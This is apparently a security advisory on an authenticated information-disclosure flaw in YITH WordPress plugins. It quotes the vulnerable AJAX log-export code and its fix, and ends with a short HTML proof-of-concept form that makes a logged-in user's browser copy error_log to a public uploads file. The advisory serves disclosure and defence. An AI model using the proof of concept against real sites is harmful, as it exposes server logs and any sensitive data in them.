WordPress Plugins From YITH With Over 1 Million Installs Contained Authenticated Information Disclosure Vulnerability
Recently 21 WordPress plugins from the developer YITH have been updated with a vague changelog entry that they “patched security vulnerability”. The security vulnerability patched allowed anyone logged in to WordPress to view the contents of two log files if they existed on websites. One of those could contain sensitive information, as it would contain information logged for PHP errors. If the functionality had previously been used, then other users could access them as well. The latter issue hasn’t been resolved.
Among the plugins affected are the 900,000+ install YITH WooCommerce Wishlist, 200,000+ install YITH WooCommerce Compare, and two plugins with 100,000+ installs, YITH WooCommerce Ajax Product Filter and YITH WooCommerce Quick View.
That went undetected in the plugins for about two years, despite being something that should have been caught if a security review had been done.
Authenticated Information Disclosure
The vulnerability involved insecure code in the function create_log_file() in the file /plugin-fw/includes/class-yith-system-status.php.
That function is made accessible to anyone logged in to WordPress through its AJAX functionality:
96 | add_action( 'wp_ajax_yith_create_log_file', array( $this, 'create_log_file' ) ); |
Before the fix, the function look like this:
410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 | public function create_log_file() { try { global $wp_filesystem; if ( empty( $wp_filesystem ) ) { require_once ABSPATH . '/wp-admin/includes/file.php'; WP_Filesystem(); } $download_file = false; $file_content = ''; $requested_file = $_POST['file']; //phpcs:ignore switch ( $requested_file ) { case 'error_log': $file_content = $wp_filesystem->get_contents( ABSPATH . 'error_log' ); break; case 'debug.log': $file_content = $wp_filesystem->get_contents( WP_CONTENT_DIR . '/debug.log' ); break; } if ( '' !== $file_content ) { $file = wp_upload_dir()['basedir'] . '/' . $requested_file . '.txt'; $download_file = wp_upload_dir()['baseurl'] . '/' . $requested_file . '.txt'; $wp_filesystem->put_contents( $file, $file_content ); } wp_send_json( array( 'file' => $download_file ) ); } catch ( Exception $e ) { wp_send_json( array( 'file' => false ) ); } } |
That would display the contents of a file named error_log in the root directory of the website or debug.log in the /wp-content/ directory. It would also store a copy in the directory /wp-content/uploads/.
The fix adds a capabilities check, which limits access to Administrators, and a nonce check, to prevent cross-site request forgery (CSRF):
410 411 412 413 414 | public function create_log_file() { if ( ! current_user_can( 'manage_options' ) || ! isset( $_POST['nonce'], $_POST['file'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'yith-export-log' ) ) { wp_send_json( array( 'file' => false ) ); exit; } |
It also generates a randomized name for the stored copy of the file:
440 441 442 443 444 | $hash = substr( wp_hash( $domain ), 0, 16 ); $file = wp_upload_dir()['basedir'] . '/log-' . $hash . '.txt'; $download_file = wp_upload_dir()['baseurl'] . '/log-' . $hash . '.txt'; $r = $wp_filesystem->put_contents( $file, $file_content ); |
What the changes don’t do is delete existing files created by the previous code, already stored on the website.
Proof of Concept
The following proof of concept will display the contents of the error_log file, when logged in to WordPress.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=yith_create_log_file" method="POST"> <input type="hidden" name="file" value="error_log"" /> <input type="submit" value="Submit" /> </form> </body>